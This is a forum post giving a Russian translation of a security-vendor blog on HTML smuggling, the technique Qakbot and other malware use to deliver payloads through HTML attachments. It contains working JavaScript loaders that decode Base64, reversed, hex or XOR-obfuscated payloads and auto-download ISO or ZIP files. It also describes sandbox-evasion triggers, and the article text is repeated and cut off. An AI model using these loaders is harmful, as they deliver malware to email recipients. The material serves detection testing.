D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Перевод статьи подготовлен специально для xss.is
Оригинал статьи: ссылка
HTML Smuggling: Последние наблюдения за техникой угроз
Jan 6, 2023
HTML Smuggling - техника отнюдь не новая, но ее практичность и гибкость делают ее мощным приемом, который и сегодня оказывается эффективным для субъектов угроз.
Для некоторых агентов, например для тех, кто поставляет Qakbot, HTML Smuggling используется для доставки вредоносного содержимого (обычно ISO или ZIP с конечной полезной нагрузкой внутри). Богатый HTML-контент часто используется для представления страницы в виде поддельного сайта Google Drive или сайта под брендом Adobe (среди многих других) с распаковкой JavaScript и доставкой полезной нагрузки. Пример этого можно увидеть на ANY.RUN ниже, а воссозданную полезную нагрузку на delivr.to - здесь.
app.any.run
Другие злоумышленники использовали HTML Smuggling для создания поддельных страниц входа в обычные системы, такие как Microsoft 365. Это может быть выгодно злоумышленникам, поскольку страница входа генерируется программно, часто отображая адрес электронной почты получателя, чтобы добавить легитимности, и обслуживается локально на целевой конечной точке, а не размещается в Интернете.
Обновление #1 (31/03/2023) - Добавлен пример шифрования AES
Обновление #2 (17/04/2023) - Встроенная загрузка
Обновление #3 (27/02/2024) - Meta http-equiv Redirect
Примечательные техники HTML Smuggling
Мы в delivr.to постоянно находимся в поиске интересных образцов вредоносного ПО, использующих заслуживающие внимания техники, которые мы могли бы имитировать для постоянного тестирования средств защиты. Поэтому мы собрали в этом блоге некоторые из этих техник, которые, по нашему мнению, будут интересны как защитникам, так и специалистам по наступательной безопасности.
В этом блоге мы сосредоточимся в основном на методах контрабанды конечной полезной нагрузки, хотя многие методы могут быть применены и к тактике кражи учетных данных. Их можно условно разделить на две категории, хотя они частично пересекаются:
Обфускация полезной нагрузки (payloads)
Для тех, кто хорошо знаком с контрабандой HTML и методами обфускации полезной нагрузки в целом, многое из этого, скорее всего, будет старой новостью. Однако распространенность и широкое применение этих техник все еще может удивить. Мы поговорим о следующих техниках:
Base64
Пожалуй, Base64 является наиболее простым средством встраивания содержимого полезной нагрузки в HTML-файл. Мы можем увидеть отличный пример этого в блоге Outflank, который приведен ниже:
Код: Скопировать в буфер обмена
Outflank также предоставляет тестовый файл, демонстрирующий эту технику, здесь.
С точки зрения защиты, определить распространенные типы файлов, которые были закодированы в Base64, можно по первым нескольким закодированным байтам (т. е. по заголовку файла). Вот несколько примеров:
TV.... - Закодированный 'MZ' заголовок исполняемого файла.
UE... - Закодированный заголовок 'PK' Zip-файла (или нового формата Office doc).
Вы можете найти образец этого для тестирования доставки по электронной почте и по ссылкам в коллекции delivr.to здесь.
Reversed Base64
Один из простых способов (немного) улучшить уклонение - это изменить строку полезной нагрузки в кодировке Base64. Недавно такой способ был замечен в доставке Qakbot. Пример вы можете увидеть ниже:
app.any.run
Мы можем воссоздать этот пример с помощью следующего адаптированного фрагмента кода:
Код: Скопировать в буфер обмена
Этот код очень похож на первый пример из Outflank, только с добавленной функцией, которая реверсирует кодированную строку до начала загрузки локального файла.
Обратите внимание на использование элементов < div > для перемещения содержимого полезной нагрузки с высокой энтропией из блока < script >.
Хотя это немного затемняет нашу полезную нагрузку, все еще тривиально надежно обнаруживать эти строки, когда мы знаем, что искать.
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет ISO здесь.
Шестнадцатеричный
Альтернативный способ представления нашего содержимого полезной нагрузки, также наблюдаемый в дикой природе, находится в шестнадцатеричном массиве байтов, а не в предыдущих кодированных строках, которые мы видели. Используя функцию JavaScript fromCharCode, мы можем преобразовать шестнадцатеричные символы в нашем массиве в необработанные байты нашего исходного файла, прежде чем перейти к последующим функциям для запуска загрузки.
Вот пример фрагмента кода, использующего шестнадцатеричную кодировку (где триггерная функция была опущена, так как она такая же, как и в приведенном выше примере):
Код: Скопировать в буфер обмена
В этом фрагменте кода есть несколько вещей, на которые стоит обратить внимание. Во-первых, функция to_blob немного отличается от предыдущего примера тем, что она сначала не декодируется из Base64 с функцией atob (это может быть очевидно, учитывая, что мы не используем эту кодировку здесь!).
Во-вторых, обфускация функции fromCharCode (как используется в оригинальном образце) - это интересно, так как показывает простой пример возможностей обфускации и вызова JavaScript-функций (а не просто обфускации имен переменных).
С оскорбительной точки зрения, очевидно, что мы удалили содержимое строки Base64-encoded - что является улучшением! Но этот подход по-прежнему является еще одним представлением предсказуемого содержимого файла (то есть заголовков файлов!), Как мы видим из первой пары байтов в массиве, 0x50 и 0x4b, которые при преобразовании из hex производят заголовок PK-файла ZIP-файла!
Преобразование наших исходных записей шестнадцатеричного массива в двоичный с помощью CyberChef
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет сжатый ISO здесь.
XOR
Улучшая стратегию кодирования, мы можем обратиться к шифрованию для защиты нашей полезной нагрузки и удалить строки telltale (или шестнадцатеричные символы!), которые указывают на содержимое файла. Одним из таких способов шифрования, рассматриваемых субъектами угроз, является XOR-шифр. Мы можем увидеть пример этого здесь (обратите внимание на часто используемый фон Google Drive!):
app.any.run
Адаптируясь к приведенному выше образцу вредоносного ПО, мы можем достичь шифрования XOR нашей Base64 кодированной полезной нагрузки, как показано ниже (где функции to_blob и триггера идентичны функциям образца «reversed base64»):
Код: Скопировать в буфер обмена
Здесь мы снова видим, что содержимое полезной нагрузки находится в отдельном элементе < div >, а также ключ шифрования.
Примечательно, что этот метод XOR также использовался NOBELIUM, как видно в примере кода из одной из их полезных нагрузок начального доступа HTML:
Техника NOBELIUM EnvyScout XOR (взята из блога Microsoft)
С помощью этого метода мы удалили обнаруживаемые статические строковые индикаторы Base64-encoded (и реверсированных), часто используемых типов файлов, хотя есть еще много подозрительных функций, таких как createObjectURL, в наших шаблонных функциях контрабанды (не говоря уже о высокой энтропии), которые мы рассмотрим во второй половине этого блога!
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет сжатый ISO здесь.
Доставка полезной нагрузки
Если угрожающий агент может обойти статический сканер с помощью вышеуказанной обфускации полезной нагрузки, ему нужно будет сосредоточиться на том, как инициировать распаковку и доставку полезной нагрузки, предприняв при этом шаги, чтобы она обошла анализ песочницы.
Мы поговорим о следующих методах, которые мы видели из последних образцов:
Встроенная загрузка (listener)
Недавние (23 апреля) образцы Qakbot использовали кнопочные загрузки контрабандных файлов сценариев (например, сценариев wsf). Пример этого можно увидеть ниже:
app.any.run
Вместо того, чтобы использовать некоторые из более запутанных механизмов запутывания и доставки полезной нагрузки, наблюдавшихся ранее, этот метод встраивает Base64-encoded полезную нагрузку в линию в элементе привязки HTML (тег < a >), который можно использовать в сочетании с кнопкой или подобным. Техника довольно лаконична и может быть продемонстрирована в восьми или около того строках ниже:
Код: Скопировать в буфер обмена
Как обсуждалось ранее в этом блоге, Base64 кодирование полезных нагрузок таким образом может оставить статические строки, которые являются контрольными признаками заголовков форматов файлов, таких как Zips и ISO.
Однако после недавнего изучения доставки полезной нагрузки OneNote возвращение Qakbot к контрабанде HTML, по-видимому, совпало с переходом от тяжелых контейнерных форматов, таких как ISO, к сравнительно легким, сильно запутанным форматам сценариев (т. Е. Текстовые файлы без предсказуемые заголовки файлов) в качестве первого этапа, впоследствии потянув вниз дополнительные файлы, чтобы завершить заражение.
Примечательно, что приведенный выше образец Qakbot использует .xhtml (формат HTML-документа eXtended), что может быть попыткой уклониться от правил, основанных на расширении файлов. В то время как в вышеприведенном фрагменте кода нет блоков < script >, расширенные форматы документов HTML (.xht, .xhtm, .xhtml) могут их поддерживать, если содержимое JavaScript упаковано в раздел CDATA. Пример этого можно увидеть ниже, где мы автоматизируем загрузку наших предыдущих
Код: Скопировать в буфер обмена
Вы можете найти множество образцов расширенного формата HTML для тестирования по электронной почте и доставки ссылок в коллекции delivr.to, в том числе здесь и здесь.
«mousemove» Прослушиватель событий JavaScript (Event Listener)
В последних примерах Qakbot, malware hunter @ pr0xylife подчеркивает добавление «mousemove» прослушивателя событий JavaScript.
https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events
Прослушиватели событий позволяют выполнять код в ответ на действия, происходящие на веб-странице, например, нажатие кнопки и наведение курсора мыши, среди прочего.
В приведенном ниже примере авторы вредоносных программ использовали прослушиватель событий «mousemove», чтобы гарантировать, что загрузка файла происходит только тогда, когда пользователь взаимодействует со страницей, добавляя уклончивый элемент, который может улучшить доставку, если песочницы не имитируют взаимодействие с веб-страницей!
app.any.run
Адаптированный из приведенного выше примера, этот фрагмент кода демонстрирует простоту добавления постраничного прослушивателя событий для взаимодействия с пользователем:
Код: Скопировать в буфер обмена
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет ISO здесь.
Проверка User-Agent
Помимо запуска при взаимодействии с пользователем, авторы вредоносных программ также наблюдали фильтрацию агентом пользователя.
app.any.run
Наш пример шифрования XOR выше демонстрирует эту технику с помощью нижеприведенного фрагмента кода:
Код: Скопировать в буфер обмена
Здесь пользовательский агент цели сравнивается со списком нежелательных платформ, и если он совпадает, блок кода вернется и не продолжит загрузку файла.
Оценка кода OnError изображения
В то время как в первом разделе блога рассматривались способы, с помощью которых субъекты угроз скрывают свои полезные нагрузки в HTML-контенте, общие функции, используемые для этого (создание функций Uint8Array, charCodeAt и createObjectURL и т. Д.), Все еще могут служить статическими сигнатурами.
Чтобы решить эту проблему, мы рассмотрим хитрое решение, используемое образцом для скрытия кода контрабанды, и полностью удалим теги < script > из HTML-файла.
Для создания этой полезной нагрузки потребуется несколько этапов. Наш код первого этапа мы сохраним простым и будем использовать Base64-encoded загрузку полезной нагрузки с более раннего.
Код: Скопировать в буфер обмена
Затем мы Base64 этот JavaScript во второй блок кода:
Код: Скопировать в буфер обмена
Здесь есть некоторая легкая запутанность, но достаточно ясно, что мы декодируем наш Base64 blob JavaScript и добавляем его в качестве нового элемента сценария на страницу.
Наконец, чтобы использовать технику OnError, мы Base64 кодируем наш блок сценария еще раз, а затем упаковываем его во вложенные функции eval (atob ()) в атрибуте OnError тега < img >.
Код: Скопировать в буфер обмена
После визуализации изображение не будет загружаться по дизайну (поскольку наш атрибут src указывает на несуществующий ресурс), вызывая первый фрагмент кода, который добавит новый сценарий в DOM, который затем инициирует загрузку нашего файла.
Очевидным преимуществом этого метода является отсутствие тегов < script > в HTML-файле, так как весь наш встроенный JavaScript распаковывается при загрузке страницы.
При такой реализации весь JavaScript содержится в доставленном HTML-вложении, но это не обязательно так. Мы могли бы отключить наш блок кода второго этапа для следующего:
Код: Скопировать в буфер обмена
Обратите внимание, что innerHTML был заменен атрибутом src. Теперь мы указываем удаленный файл JavaScript для загрузки, который в конечном итоге содержит наш контрабандный код.
Хотя это действительно вводит внешние зависимости, которые необходимо было бы успешно переместить в конечную точку для загрузки с точки зрения статического анализа, это не позволяет нашему файлу иметь контрольные признаки контрабанды HTML с гигантской Base64 строкой нашего дважды закодированного ZIP-файла.
Вы можете найти образец варианта загрузки локального сценария этой техники для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь, а также живую демонстрацию, которая контрабандно доставляет zipped ISO здесь. Удаленный вариант можно найти в коллекции delivr.to здесь и демо здесь.
Выполнение кода образа SVG
Другим сопоставимым методом, используемым для доставки QakBot, является использование изображения SVG для выполнения кода JavaScript. Пример этого мы можем увидеть здесь (в комплекте с другим поддельным фоном Google Drive):
app.any.run
Это требует вложенной кодировки блоков кода, как и раньше. Вот наш первый блок, который является XML изображения SVG с элементом < script >, содержащим наш шаблонный код внутри него.
Код: Скопировать в буфер обмена
Затем это можно поместить в HTML-файл, для приведенного выше примера этот код использовал обратную полезную нагрузку Base64:
Код: Скопировать в буфер обмена
Концептуально это очень похоже на технику OnError, где содержимое JavaScript динамически добавляется на страницу. Хотя в этой реализации используется элемент <script> в HTML-вложении для вставки SVG-изображения при загрузке страницы.
Интересным артефактом обнаружения этого подхода доставки Qakbot являются строки заголовков ZIP-файлов с двойной кодировкой. Отличное правило Yara от Флориана Рота идентифицирует эти заголовки файлов:
https://github.com/Neo23x0/signatur...5c8a06---------------------------------------
Реализацию правила Флориана в виде MQL-правила для Sublime также можно посмотреть здесь:
github.com
Кроме того, использование техники OnError и этой техники встраивания SVG-изображений приводит к тому, что контрабандный zip имеет UUID-имя файла (а не то, которое указано в исходной функции trigger()). Это может создать возможность для обнаружения (в сочетании с открытием локального HTML-файла). Примечательно, что для этой техники мы можем гарантировать использование пользовательского имени файла, встроив SVG непосредственно в HTML, а не добавляя его динамически при загрузке страницы, хотя это имеет свои недостатки с точки зрения статического анализа.
Полное воссоздание примера Qakbot для тестирования доставки по электронной почте и по ссылке вы можете найти в коллекции delivr.to здесь, а демонстрационное видео этого примера - ниже:
ссылка на видео
Карта шестнадцатеричных строк SetTimeout
Наша последняя техника смаглинга, снова взятая из этого примера, имеет сходство с уже упомянутыми техниками загрузки изображения OnError и SVG-изображения.
Код: Скопировать в буфер обмена
Как показано выше, эта техника использует функцию setTimeout JavaScript для оценки и выполнения встроенного кода при загрузке страницы. Пример состоит из двух шестнадцатеричных массивов. Первый, signed_chars, является оберткой для нашего возможного кода HTML Smuggling и при преобразовании выдает следующую строку:
Код: Скопировать в буфер обмена
Как и в случае с динамическим созданием новых элементов <script>, который мы уже рассматривали ранее, здесь мы идем на шаг дальше и используем функцию document.write() для перезаписи всей страницы содержимым нашего второго шестнадцатеричного массива arrayBuffer; после того как он будет декодирован в строку Base64 под названием unsigned_chars. Вы можете узнать знакомую обратную функцию JavaScript в строке 'edoCrahCmorf'!
Примечательно, что в массиве signed_chars каждый символ перед встраиванием в HTML-файл умножается на три (обратите внимание на преобразование '(single_byte/3)' при распаковке массива), что позволяет избежать статических сигнатур для комбинаций шестнадцатеричных символов, представляющих функции JavaScript. В оригинальном примере эта техника также применяется к массиву arrayBuffer по той же причине, хотя здесь мы немного упростили ситуацию.
Наш предварительно закодированный HTML-блок может выглядеть примерно так, где мы включаем крайние теги <html> и содержимое страницы, а также контрабандный шаблон, который мы использовали все это время.
Код: Скопировать в буфер обмена
Преимущество этой реализации заключается в том, что она скрывает все содержимое страницы, которое в конечном итоге отображается целевому пользователю. Таким образом, скрываются любые общие признаки фишинговых вложений, такие как изображения бренда или поддельные порталы для входа.
Вы можете найти образец этой программы для тестирования через электронную почту и доставку ссылок в коллекции delivr.to здесь, а живое демо, которое контрабандой доставляет запечатанный ISO, здесь.
Обновление #1 (31/03/2023) - AES-шифрование с паролем, вводимым пользователем
Если пойти еще дальше в комбинации обфускации полезной нагрузки и способов доставки, то можно использовать шифрование, при котором для расшифровки используется предоставленный пользователем материал. Это может быть поддельная файлообменная веб-страница, запрашивающая пароль, а учетные данные отправляются отдельно.
Преимущество этой техники в том, что для запуска загрузки требуется взаимодействие с пользователем, что может ускользнуть от автоматического анализа, а также в том, что она более полно защищает нашу полезную нагрузку от статического анализа, гарантируя, что мы не попадем под действие предсказуемых закодированных строк, которые мы видели ранее.
В примере ниже мы реализуем расшифровку блочного шифра AES CTR, а также поддерживаем методы кодирования UTF-8 и Base64 (заменяя часто используемую функцию atob()!
В этом начальном примере мы используем жестко закодированный пароль (слово «пароль»!), который расшифрует шифрованный текст и предоставит нам полезную нагрузку в Base64-кодировке (в переменной decryptedData). Затем это можно объединить с чем-то вроде нашего примера контрабанды Base64 HTML из Outflank, чтобы инициировать загрузку.
Код: Скопировать в буфер обмена
Эквивалентный метод шифрования на JavaScript для получения шифротекста нашей полезной нагрузки в Base64-кодировке будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
Имея необходимые функции для создания зашифрованной AES полезной нагрузки и ее повторной расшифровки, мы можем реализовать простейший пользовательский интерфейс для ввода пароля, как показано ниже:
Код: Скопировать в буфер обмена
Базовая HTML-форма для ввода пароля
Наша функция Validate() выполняет две проверки. Первая проверяет, что введенный пароль не пуст и имеет длину более 8 символов. Вторая проверка использует предоставленный пароль для расшифровки зашифрованной строки с чистым текстом 'valid'. Если мы расшифровываем строку и получаем ожидаемое значение 'valid', мы знаем, что пароль верен, и можем приступать к расшифровке основной полезной нагрузки.
Внедрение сравнения чистого и шифрованного текстов таким образом, вероятно, помогает анализировать общую полезную нагрузку, но основное преимущество этой реализации заключается в том, что конечный пользователь получает загрузку только в том случае, если его пароль введен правильно, а не предоставляет ему деформированную полезную нагрузку, расшифрованную с помощью неправильного ключа.
В коллекции delivr.to вы можете найти образец этой программы для тестирования через доставку по электронной почте и по ссылке здесь, а также обфусцированную версию здесь, и живую демонстрацию (пароль - это 'password'!), которая контрабандой доставляет ISO здесь.
Обновление № 3 (27/02/2024) - Meta http-equiv Redirect
Так же, как и в методе атрибутов OnError Image, новые способы запуска выполнения или перенаправления JavaScript могут быть выгодны для предотвращения обнаружения и увеличения доставляемости.
Замеченное в доставке вредоносного ПО Pikabot с 24 февраля перенаправление в целях контрабанды или загрузки файлов может быть достигнуто с помощью атрибута http-equiv в теге HTML < meta >.
Пример такой методики можно увидеть ниже:
Код: Скопировать в буфер обмена
Атрибут meta http-equiv позволяет создавать перенаправление с настраиваемой задержкой. В приведенном выше примере страница будет ждать в течение трех секунд, прежде чем загружать контент, обслуживаемый из поля url.
В зависимости от назначения ссылки это может быть тип файла HTML или SVG, который визуализирует кражу или контрабанду учетных данных, или двоичный формат, который инициирует загрузку файла.
Примечательно, что URL также может быть UNC-путем с префиксом file ://, чтобы инициировать загрузку через SMB или WebDAV. Первый предоставляет дополнительные возможности для кражи учетных данных с помощью автоматического принуждения.
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь.
Заключениe
В этом блоге мы изучили способы, с помощью которых субъекты угроз используют методы, чтобы запутать свои полезные нагрузки и сделать анализ и обнаружение контрабанды HTML в приложениях электронной почты более сложными.
Мы видели примеры различных методов кодирования и шифрования, а также методов, использующих прослушиватели событий JavaScript и проверки пользовательских агентов, чтобы гарантировать, что полезная нагрузка не подвергается динамическому анализу или не загружается на непреднамеренной платформе. Наконец, мы видели примеры использования файлов SVG, атрибутов элемента изображения OnError и функций setTimeout, чтобы еще больше скрыть контрабанду.
По пути мы выявили несколько возможностей обнаружения различных методов и увидели действенные фрагменты кода и демонстрации, чтобы самим эмулировать эти методы.
Блог, написанный Alfie Champion.
Оригинал статьи: ссылка
HTML Smuggling: Последние наблюдения за техникой угроз
Jan 6, 2023
HTML Smuggling - техника отнюдь не новая, но ее практичность и гибкость делают ее мощным приемом, который и сегодня оказывается эффективным для субъектов угроз.
Для некоторых агентов, например для тех, кто поставляет Qakbot, HTML Smuggling используется для доставки вредоносного содержимого (обычно ISO или ZIP с конечной полезной нагрузкой внутри). Богатый HTML-контент часто используется для представления страницы в виде поддельного сайта Google Drive или сайта под брендом Adobe (среди многих других) с распаковкой JavaScript и доставкой полезной нагрузки. Пример этого можно увидеть на ANY.RUN ниже, а воссозданную полезную нагрузку на delivr.to - здесь.
app.any.run
Другие злоумышленники использовали HTML Smuggling для создания поддельных страниц входа в обычные системы, такие как Microsoft 365. Это может быть выгодно злоумышленникам, поскольку страница входа генерируется программно, часто отображая адрес электронной почты получателя, чтобы добавить легитимности, и обслуживается локально на целевой конечной точке, а не размещается в Интернете.
Обновление #1 (31/03/2023) - Добавлен пример шифрования AES
Обновление #2 (17/04/2023) - Встроенная загрузка
Обновление #3 (27/02/2024) - Meta http-equiv Redirect
Примечательные техники HTML Smuggling
Мы в delivr.to постоянно находимся в поиске интересных образцов вредоносного ПО, использующих заслуживающие внимания техники, которые мы могли бы имитировать для постоянного тестирования средств защиты. Поэтому мы собрали в этом блоге некоторые из этих техник, которые, по нашему мнению, будут интересны как защитникам, так и специалистам по наступательной безопасности.
В этом блоге мы сосредоточимся в основном на методах контрабанды конечной полезной нагрузки, хотя многие методы могут быть применены и к тактике кражи учетных данных. Их можно условно разделить на две категории, хотя они частично пересекаются:
- Обфускация полезной нагрузки - как мы можем преобразовать нашу контрабандную полезную нагрузку, например образ диска ISO, в HTML-файл, чтобы обойти статические сканеры?
- Доставка полезной нагрузки - как мы можем инициировать распаковку/загрузку нашей полезной нагрузки? Потенциально можно предпринять шаги для обеспечения того, чтобы это происходило в нужное время, по назначению, а не в песочнице или при другом динамическом анализе.
Обфускация полезной нагрузки (payloads)
Для тех, кто хорошо знаком с контрабандой HTML и методами обфускации полезной нагрузки в целом, многое из этого, скорее всего, будет старой новостью. Однако распространенность и широкое применение этих техник все еще может удивить. Мы поговорим о следующих техниках:
- Base64
- Обратный Base64 (Reversed Base64)
- XOR
- Шестнадцатеричный
Base64
Пожалуй, Base64 является наиболее простым средством встраивания содержимого полезной нагрузки в HTML-файл. Мы можем увидеть отличный пример этого в блоге Outflank, который приведен ниже:
Код: Скопировать в буфер обмена
Код:
...
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'outflank.doc';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
Outflank также предоставляет тестовый файл, демонстрирующий эту технику, здесь.
С точки зрения защиты, определить распространенные типы файлов, которые были закодированы в Base64, можно по первым нескольким закодированным байтам (т. е. по заголовку файла). Вот несколько примеров:
TV.... - Закодированный 'MZ' заголовок исполняемого файла.
UE... - Закодированный заголовок 'PK' Zip-файла (или нового формата Office doc).
Вы можете найти образец этого для тестирования доставки по электронной почте и по ссылкам в коллекции delivr.to здесь.
Reversed Base64
Один из простых способов (немного) улучшить уклонение - это изменить строку полезной нагрузки в кодировке Base64. Недавно такой способ был замечен в доставке Qakbot. Пример вы можете увидеть ниже:
app.any.run
Мы можем воссоздать этот пример с помощью следующего адаптированного фрагмента кода:
Код: Скопировать в буфер обмена
Код:
...
<div id='b' class='e' data="reversed_b64_payload"></div>
<script>
document.body.onload = function (){
var f = deobf(document.getElementById("b").getAttribute("data"));
trigger(to_blob(f, 512));
};
function reverse_str(in_str) {
var out_str = "";
for (var i = in_str.length - 1; i >= 0; i--) {
out_str += in_str[i];
}
return out_str;
}
function deobf(a)
{
return reverse_str(a);
}
function to_blob(b64_blob, chunk_size)
{
var payload = [];
var blob_bytes = atob(b64_blob);
for(var i = 0; i < blob_bytes.length; i += chunk_size)
{
var blob_chunk = blob_bytes.slice(i, i + chunk_size);
var b_array = new Array(blob_chunk.length);
for(var a = 0; a < blob_chunk.length; a++)
{
b_array[a] = blob_chunk.charCodeAt(a);
}
var uint_array = new Uint8Array(b_array);
payload.push(uint_array);
}
var out = new Blob(payload, {type: "octet/stream"});
return out;
}
function trigger(out)
{
let fd = new File([out], "attachment.iso", {type: "octet/stream"});
let fd_url = URL["createObjectURL"](fd);
var a = document.createElement("a");
document.body.appendChild(a);
a.setAttribute("href",fd_url);
a.download = 'attachment.iso';
a.click();
URL.revokeObjectURL(fd_url);
}
</script>
Этот код очень похож на первый пример из Outflank, только с добавленной функцией, которая реверсирует кодированную строку до начала загрузки локального файла.
Обратите внимание на использование элементов < div > для перемещения содержимого полезной нагрузки с высокой энтропией из блока < script >.
Хотя это немного затемняет нашу полезную нагрузку, все еще тривиально надежно обнаруживать эти строки, когда мы знаем, что искать.
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет ISO здесь.
Шестнадцатеричный
Альтернативный способ представления нашего содержимого полезной нагрузки, также наблюдаемый в дикой природе, находится в шестнадцатеричном массиве байтов, а не в предыдущих кодированных строках, которые мы видели. Используя функцию JavaScript fromCharCode, мы можем преобразовать шестнадцатеричные символы в нашем массиве в необработанные байты нашего исходного файла, прежде чем перейти к последующим функциям для запуска загрузки.
Вот пример фрагмента кода, использующего шестнадцатеричную кодировку (где триггерная функция была опущена, так как она такая же, как и в приведенном выше примере):
Код: Скопировать в буфер обмена
Код:
...
<script>
document.body.onload = function (){
let f = ['0x50', '0x4b', '0x3', ...];
trigger(to_blob(hex_to_bin(f), 512));
};
function hex_to_bin(in_buf) {
out = "";
str = String;
for (let b of in_buf){
out += str["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](b);
}
return out;
}
function to_blob(blob_bytes, chunk_size)
{
var payload = [];
for(var i = 0; i < blob_bytes.length; i += chunk_size)
{
var blob_chunk = blob_bytes.slice(i, i + chunk_size);
var b_array = new Array(blob_chunk.length);
for(var a = 0; a < blob_chunk.length; a++)
{
b_array[a] = blob_chunk.charCodeAt(a);
}
var uint_array = new Uint8Array(b_array);
payload.push(uint_array);
}
var out = new Blob(payload, {type: "octet/stream"});
return out;
}
function trigger(out)
{
...
}
</script>
В этом фрагменте кода есть несколько вещей, на которые стоит обратить внимание. Во-первых, функция to_blob немного отличается от предыдущего примера тем, что она сначала не декодируется из Base64 с функцией atob (это может быть очевидно, учитывая, что мы не используем эту кодировку здесь!).
Во-вторых, обфускация функции fromCharCode (как используется в оригинальном образце) - это интересно, так как показывает простой пример возможностей обфускации и вызова JavaScript-функций (а не просто обфускации имен переменных).
С оскорбительной точки зрения, очевидно, что мы удалили содержимое строки Base64-encoded - что является улучшением! Но этот подход по-прежнему является еще одним представлением предсказуемого содержимого файла (то есть заголовков файлов!), Как мы видим из первой пары байтов в массиве, 0x50 и 0x4b, которые при преобразовании из hex производят заголовок PK-файла ZIP-файла!
Преобразование наших исходных записей шестнадцатеричного массива в двоичный с помощью CyberChef
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет сжатый ISO здесь.
XOR
Улучшая стратегию кодирования, мы можем обратиться к шифрованию для защиты нашей полезной нагрузки и удалить строки telltale (или шестнадцатеричные символы!), которые указывают на содержимое файла. Одним из таких способов шифрования, рассматриваемых субъектами угроз, является XOR-шифр. Мы можем увидеть пример этого здесь (обратите внимание на часто используемый фон Google Drive!):
app.any.run
Адаптируясь к приведенному выше образцу вредоносного ПО, мы можем достичь шифрования XOR нашей Base64 кодированной полезной нагрузки, как показано ниже (где функции to_blob и триггера идентичны функциям образца «reversed base64»):
Код: Скопировать в буфер обмена
Код:
...
<div id='b' class='e' data="xor_payload"></div>
<div id='wjcwgcvg' class='kmoitfcv' data="encryption_key"></div>
<script>
document.body.onload = function (){
var f = xor_func(document.getElementById("b").getAttribute("data"), document.getElementById('wjcwgcvg').getAttribute('data'));
trigger(to_blob(f, 512));
};
function xor_func(crhvmojz,hkusixgc) {
crhvmojz = atob(crhvmojz);
var mohcsjnh = ''
for(var i=0; i<crhvmojz.length; i++) {
mohcsjnh += String.fromCharCode(crhvmojz.charCodeAt(i) ^ hkusixgc[i%hkusixgc.length].charCodeAt(0))
}
return mohcsjnh;
}
function to_blob(b64_blob, chunk_size)
{
...
}
function trigger(out)
{
...
}
</script>
Здесь мы снова видим, что содержимое полезной нагрузки находится в отдельном элементе < div >, а также ключ шифрования.
Примечательно, что этот метод XOR также использовался NOBELIUM, как видно в примере кода из одной из их полезных нагрузок начального доступа HTML:
Техника NOBELIUM EnvyScout XOR (взята из блога Microsoft)
С помощью этого метода мы удалили обнаруживаемые статические строковые индикаторы Base64-encoded (и реверсированных), часто используемых типов файлов, хотя есть еще много подозрительных функций, таких как createObjectURL, в наших шаблонных функциях контрабанды (не говоря уже о высокой энтропии), которые мы рассмотрим во второй половине этого блога!
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет сжатый ISO здесь.
Доставка полезной нагрузки
Если угрожающий агент может обойти статический сканер с помощью вышеуказанной обфускации полезной нагрузки, ему нужно будет сосредоточиться на том, как инициировать распаковку и доставку полезной нагрузки, предприняв при этом шаги, чтобы она обошла анализ песочницы.
Мы поговорим о следующих методах, которые мы видели из последних образцов:
- Обновление № 2 (17/04/2023) - Встроенная загрузка
- «mousemove» Прослушиватель событий JavaScript (listener)
- Проверка агента-пользователя (User-Agent)
- Оценка кода OnError образа (локальный и удаленный JS)
- Выполнение кода образа SVG
- Сопоставление шестнадцатеричной строки SetTimeout
- Обновление № 1 (31/03/2023) - AES Encryption с предоставленным пользователем паролем
- Обновление № 3 (27/02/2024) - Meta http-equiv Redirect
Встроенная загрузка (listener)
Недавние (23 апреля) образцы Qakbot использовали кнопочные загрузки контрабандных файлов сценариев (например, сценариев wsf). Пример этого можно увидеть ниже:
app.any.run
Вместо того, чтобы использовать некоторые из более запутанных механизмов запутывания и доставки полезной нагрузки, наблюдавшихся ранее, этот метод встраивает Base64-encoded полезную нагрузку в линию в элементе привязки HTML (тег < a >), который можно использовать в сочетании с кнопкой или подобным. Техника довольно лаконична и может быть продемонстрирована в восьми или около того строках ниже:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<body>
<a href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank">
<button type="submit">Download</button>
</a>
</body>
</html>
Как обсуждалось ранее в этом блоге, Base64 кодирование полезных нагрузок таким образом может оставить статические строки, которые являются контрольными признаками заголовков форматов файлов, таких как Zips и ISO.
